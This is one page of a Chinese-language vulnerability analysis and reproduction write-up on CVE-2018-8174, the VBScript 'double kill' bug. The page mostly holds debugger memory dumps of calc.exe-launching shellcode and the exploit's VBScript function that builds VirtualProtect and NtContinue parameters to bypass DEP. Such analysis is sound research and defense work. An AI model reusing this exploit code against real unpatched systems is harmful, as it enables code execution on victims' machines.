CVE-2018-8174双杀漏洞分析复现及防御

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
025e0074  8b 34 8b 01 d6 31 ff ac-c1 cf 0d 01 c7 38 e0 75  .4...1.......8.u
025e0084  f6 03 7d f8 3b 7d 24 75-e4 58 8b 58 24 01 d3 66  ..}.;}$u.X.X$..f
025e0094  8b 0c 4b 8b 58 1c 01 d3-8b 04 8b 01 d0 89 44 24  ..K.X.........D$
025e00a4  24 5b 5b 61 59 5a 51 ff-e0 5f 5f 5a 8b 12 eb 8d  $[[aYZQ..__Z....
025e00b4  5d 6a 01 8d 85 b2 00 00-00 50 68 31 8b 6f 87 ff  ]j.......Ph1.o..
025e00c4  d5 bb f0 b5 a2 56 68 a6-95 bd 9d ff d5 3c 06 7c  .....Vh......025e00d4  0a 80 fb e0 75 05 bb 47-13 72 6f 6a 00 53 ff d5  ....u..G.roj.S..
025e00e4  63 61 6c 63 2e 65 78 65-00 41 65 00 00 00 00 00  calc.exe.Ae.....
025e00f4  00 00 00 00 00 00 00 cc-cc cc cc cc cc cc cc cc  ................
025e0104  3f 71 3d 37 30 35 35 34-38 26 76 3d 33 00 41 41  ?q=705548&v=3.AA
025e0114  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
//当前地址的权限问题
0: kd> !pte 025e0024
                    VA 025e0024
PDE at C0600090            PTE at C0012F00
contains 0000000076382867  contains 8000000043F0F867
pfn 76382     ---DA--UWEV   pfn 43f0f     ---DA--UW-V
现在shellcode的已经加载到内存中了,接下来就是构造环境执行的问题了
3.5.2.ShellCode 绕过DEPv
重点是这两个函数:
SetMemValue VirtualProtectCallParameters(ShellcodeAddr)
    lIlll=GetMemValue()+69596  '0x10FDC
 IsEmpty(lIlll)
    SetMemValue ExpandWithVirtualProtect(lIlll)
    llIIll=GetMemValue()
 IsEmpty(llIIll)
先看 VirtualProtectCallParameters 函数:
'构造VirtualProtect环境 参数为shellcode地址 
Function VirtualProtectCallParameters(ShellcodeAddrParam) 'bypass cfg
 Alert "VirtualProtectCallParameters"
    Dim result
    result=String((100334-65536),Unescape("%u4141"))  '重复0x10FDC个“A”
    result=result &EscapeAddress(ShellcodeAddrParam)  '在0FDC个“A”后面放入shellcode地址
    result=result &EscapeAddress(ShellcodeAddrParam)  '第一个参数 修改的基地址
    result=result &EscapeAddress(&h3000)     '第二个参数 size
    result=result &EscapeAddress(&h40)      '第三个参数PAGE_EXECUTE_READWRITE 0x40)
    result=result &EscapeAddress(ShellcodeAddrParam-8)  '第四个,内存原始属性保存地址
    result=result &String(6,Unescape("%u4242"))    '重复 6个“**”
    result=result &StructWithNtContinueAddr()    ' /x00 * 3  NtContinue * 4 /x00
    result=result &String((&h80000-LenB(result))/2,Unescape("%u4141")) '重复 0x80000- ?个“AA”
    VirtualProtectCallParameters=result
End Function
一步一步解析:(VBS里面的&代表的是字符串的连接)
//源码:result=String((100334-65536),Unescape("%u4141")) 
//重复0x10FDC个“AA”
0:005> dd poi(esp+c) lc
0055e470  0000004a 00000000 02129da8 00000000
0055e480  024d0008 024dcc34 0392ca3c 024dcc1c
0055e490  00000000 02108298 0037a1bc 0055f5cc
0:005> dd 02129da8 lc
02129da8  00000008 00000000 0393da34 00000000
02129db8  00000000 00000000 655fbbf0 0c04fced
02129dc8  00000000 00550050 00000000 0055f698
//申请出的字符串
0:005> db 0393da34
0393da34  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393da44  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393da54  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393da64  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393da74  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393da84  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393da94  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0393daa4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
//源码:result=result &EscapeAddress(ShellcodeAddrParam) 将shellcode地址放到字符串后面
0:005> dd 0393da34+10FDC lc
0394ea10  0265002c 00000000 00000000 00000000  //0265002c是shellcode的地址
0394ea20  f117622e 0007b655 003bb6d0 0035db68
0394ea30  00000000 00000000 00000000 00000000
//shellcode地址由于重新调试与上面地址不一样,但是可以看到确实是shellcode的代码
0:005> db 0265002c

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]  下一页